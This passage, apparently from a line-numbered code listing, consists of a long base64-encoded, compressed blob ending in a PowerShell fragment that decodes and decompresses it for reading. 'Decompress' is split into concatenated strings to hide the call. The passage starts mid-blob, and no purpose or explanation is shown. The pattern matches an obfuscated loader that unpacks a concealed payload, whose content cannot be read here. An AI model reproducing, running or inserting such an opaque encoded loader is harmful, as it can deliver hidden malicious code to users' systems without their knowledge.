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")))), [IO.Compression.CompressionMode]::("De" +"compress"))), [Text.Encoding]::ASCII)).ReadToEnd(); 2 | --------------------------------------------------------------------------------